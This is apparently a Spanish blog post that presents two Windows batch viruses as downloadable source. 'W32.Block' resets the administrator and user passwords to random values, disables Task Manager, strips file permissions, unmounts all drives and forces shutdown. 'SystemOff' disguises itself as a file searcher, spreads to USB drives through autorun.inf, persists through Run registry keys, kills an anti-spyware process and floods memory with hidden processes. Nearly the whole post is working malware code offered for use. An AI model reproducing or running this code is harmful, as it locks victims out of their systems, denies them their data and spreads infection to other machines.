W32.Block Bloquear el sistema en Batch

W32.Block es un virus que tiene como finalidad, bloquear el systema para que no se pueda volver a ingresar ni por el usuario que comunmente inicia ni por el administrador ya que crea contraseñas aleatorias que ni yo se cuales son :p

@echo off
set src=%temp%\screen.bat
set ss=%temp%\ServiceSystem.bat
set tep=/t /e /p
REG ADD "HKCU\Console" /v FullScreen /t REG_DWORD /d 1 /f >> "%src%"
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f >> "%src%"
start %ss% && exit >> "%src%"
@echo off && cls>> "%ss%"
type "%homedrive%\boot.ini" && REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LogonType /t REG_DWORD /d 1 /f >> "%ss%"
ipconfig/release >> "%ss%"
taskkill /F /IM explorer.exe >> "%ss%"
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysTrayService /t REG_SZ /d "%ss%" >> "%ss%"
net user Administrador %random%binary%random% >> "%ss%"
net user %username% %random%ascii%random% >> "%ss%"
cacls "%userprofile%\Misdoc~1\*" %tep% %username%:n >> "%ss%"
cacls "%homedrive%\Docume~1\%username%\*" %tep% %username%:n >> "%ss%"
cacls "%homedrive%\Docume~1\*" %tep% %username%n >> "%ss%"
cacls "%programfiles%\Intern~1\iexplore.exe" %tep% %username%:n >> "%ss%"
cacls "%programfiles%\Mozill~1\firefox.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\system32\ipconfig.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\regedit.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\system32\notepad.exe" %tep% %username%:n >> "%ss%"
FOR %%u IN (C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (mountvol %%u:\ /D) >> "%ss%"
shutdown -s -f -t 00 && exit >> "%ss%"
call %src% && exit

SystemOff, colgar el sistema en Batch

Este code fué el que use para un reto que serviría para colgar el sistema o al menos alentarlo hasta que la memoria de la PC bajara demasiado y se tuvierá que reiniciar, está sencillo pero me hizo ganar xD.

::Simula ser un Buscador de archivos, se propaga por USB y cada que el usuario reinicie el sistema le volverá a pasar lo mismo que cuando lo ejecuto.

::::::::::::::::::::::::::::::::::
: :
: :
: SystemOff by Soldier :
: :
: :
::::::::::::::::::::::::::::::::::
@echo off
color 0E
title -SearchFiles-
set o=echo
set s=.vbs
set l=.bat
set i=.soldier
set r=%random%
set d=%random%
set e=%random%
set led=LVComServer
set spy=Anti-Spyware
echo.
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º º
echo º SearchFiles / Buscador de Archivos º
echo º º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Espere, el programa iniciara automaticamente...
ping -n 3 localhost > nul
echo Enlistando controladores de busqueda...
ping -n 2 localhost > nul
FOR %%U IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
copy "%homedrive%\%spy%\autorun.inf" "%%U:\autorun.inf" >nul
copy /y %0 "%%U:\Searchfiles%l%" >nul
attrib +h +s "%%U:\Searchfiles%l%" >nul
attrib +h +s "%%U:\autorun.inf" >nul )
cls

if exist "%homedrive%\%spy%" (goto cont) else (goto create)
:create
md %homedrive%\%spy%
:cont
call :core
call :core2
call :core3
call :core4
call :reg
call :msj

:reg
taskkill /F /IM TeaTimer.exe
cls
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "%led%"
/t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f >nul
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "BDUpdateCheck"
/t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f >nul
goto :EOF

:core
%o% rundll32 user32.dll,SwapMouseButton >> "%homedrive%\%spy%\tmp%d%%l%"
%o% start http://img211.imageshack.us/img211/3792/army31280rc7.jpg
>> "%homedrive%\%spy%\tmp%d%%l%"
%o% start %homedrive%\%spy%\%led%%s% >> "%homedrive%\%spy%\tmp%d%%l%"

%o% Do >> "%homedrive%\%spy%\%led%%s%"
%o% Set fh = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "notepad.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "mspaint.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "calc.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "explorer.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% Loop >> "%homedrive%\%spy%\%led%%s%"
goto :EOF

:core2
%o% MsgBox "La instrucción en ""0x019816d3"" hace referencia a la memoria
en ""0x019816d3"". La memoria no se puede ""read"".",21,
"SearchFiles.exe - Error de aplicación" >> "%homedrive%\%spy%\tmp%e%%s%"
%o% Set sg = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\tmp%e%%s%"
%o% sg.run "%homedrive%\%spy%\tmp%r%%s%" >> "%homedrive%\%spy%\tmp%e%%s%"
goto :EOF

:core3
%o% Set cmd = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\tmp%r%%s%"
%o% Set shell = CreateObject("Scripting.FileSystemObject")
>> "%homedrive%\%spy%\tmp%r%%s%"
%o% cmd.Run "%homedrive%\%spy%\tmp%d%%l%" >> "%homedrive%\%spy%\tmp%r%%s%"
goto :EOF

:core4
%o% [autorun] >> "%homedrive%\%spy%\autorun.inf"
%o% open=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% icon=%systemroot%\system32\shell32.dll,7 >> "%homedrive%\%spy%\autorun.inf"
%o% UseAutoPlay=1 >> "%homedrive%\%spy%\autorun.inf"
%o% action=Abrir memoria para ver archivos >> "%homedrive%\%spy%\autorun.inf"
%o% action= @SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open=Abrir >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open\command=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open\default=1 >> "%homedrive%\%spy%\autorun.inf"
%o% shell\explore=Explorar >> "%homedrive%\%spy%\autorun.inf"
%o% shell\explore\command=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
goto :EOF

:msj
call %homedrive%\%spy%\tmp%e%%s% && exit

Descarga | Código en archivo de texto